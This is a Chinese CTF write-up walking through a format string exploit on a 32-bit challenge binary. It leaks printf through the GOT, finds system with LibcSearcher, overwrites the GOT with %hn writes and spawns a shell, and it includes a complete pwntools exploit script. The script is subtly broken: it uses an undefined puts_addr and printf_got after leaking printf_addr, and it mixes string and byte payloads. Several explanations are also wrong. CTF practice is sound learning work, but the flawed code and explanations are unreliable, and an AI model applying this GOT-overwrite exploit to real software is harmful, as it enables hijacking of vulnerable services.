题目自取:
链接:https://pan.baidu.com/s/1sZyC-d47cnrjQ0rmRNLbSg?pwd=iung
提取码:iung
这是一题改got表的格式化字符串的例题
这里介绍下pwntools里的一个脚本
fmtstr_payload:
举个例子, payload = fmtstr_payload(7 , {printf_got : system_addr}) 其中,7
是格式化字符串中的第一个 %n
参数的位置;printf_got
和 system_addr
是两个地址,分别表示 printf
函数的全局偏移量表 (GOT) 地址和 system
函数地址。
writes
字典表示要写入的地址和数值对。在这个例子中,载荷将写入 printf_got
地址,并将其值更改为 system_addr
。这将导致程序在下次调用 printf
时实际上调用 system
。
最后,载荷将被发送到目标主机,并用于攻击格式化字符串漏洞。如果执行成功,则程序将在调用 printf
函数时调用 system
函数,进而执行攻击者指定的命令。
checksec一下
非非非非常明显的格式化字符串漏洞,在IDA里看了,没有system函数,也无/bin/sh,因此我们自然想到改got 。
改got表可以利用pwntools的工具fmtstr_payload,但是这里我们会用常规的方法进行演示,讲清楚原理。
一般32位的要利用两次%hn来修改对应的地址(我也不知道为啥),用了%n就不工作了,奇奇怪怪。
我们gdb一下看看参数具体写入的位置,结果发现一个很坑的东西,也就是在第9个参数的位置,仅仅写入了3个'a',也就是说 ,第一个a被写在了第8个参数,这一点我们要非常小心。
讲一下思路:
大致思路就是去泄露printf的地址,然后利用libcsearcher去得到system的地址,然后把printf的got表的地址修改为system的地址,另外由于参数是由我们自行输入,因此参数可控,我们可以往参数写入/bin/sh.从而拿到shell
那么如何去拿到libc的基地址呢?我们可以泄露出printf的真实地址。这里讲一下%p和%s的一个区别,简单来说,%p是将对应地址存的东西打印出来,而%n是将对应的地址作为指针索引,得到对应的内容。那么如果我们往参数写入了printf的got表的地址,我们如何能得到got表指向的内容呢,毫无疑问,我们将利用的是%s,去解引用got(我的理解是类似于指针解引用,不知对不对。)这样我们就可以获得printf的真实地址了。这里给一个例子
payload=b'%9$s'+b'a'+p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil(b':')
printf_addr=u32(io.recv(4))
这样我们就获得到了printf的真实地址,再利用libcsearcher,我们就可以拿到system的真实地址了
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
拿到system的地址后还没结束,记得我前面提到的,got表要分两次%hn修改,别问为什么,问就是不知道为啥
所以我们需要把system的地址分成高八位和低八位
high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
这里的右移16位就是向右移动4个字节,获得到high_sys的高4位地址
接下来就是改got啦,就是把got拉到栈上"公开处刑"
payload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload2 += "a" * 6
payload2 += p32(printf_got) + p32(printf_got + 2)
注意!!!!!
之前我百思不得奇解,究竟为什么low_sys-10,这里要说明的是,例如printf("aaaa%100c%n",&a)
这个代码中,a的值是被修改为了104,因为在%100c之前,已经又有输出'aaaa'了,而%n写入的数值就是前面输出多少个字符,就往里写入多少的数值,因此这-10是因为
"Repeater:”这里有 9个字符,再加上栈平衡的一个'a',因此共10个。
完整的exp如下:
from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./buu17')
io=process("./buu17")
from LibcSearcher import *
io.recv()
payload=b'%9$s'+b'a'+p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil(b':')
printf_addr=u32(io.recv(4))
io.recv()
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
payload = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload += "a" * 6
payload+= p32(printf_got) + p32(printf_got + 2)
io.sendafter("Please tell me:",payload)
payload = ';/bin/sh\x00'
io.sendafter("Please tell me:",payload)
io.interactive()
这里写入参数/bin/sh前加一个分号的原因是 ‘ ;’ 可以让system分别执行两条指令,这样就避开了前面字符的干扰("Repeater:"的干扰)
于是这一题就圆满结束啦!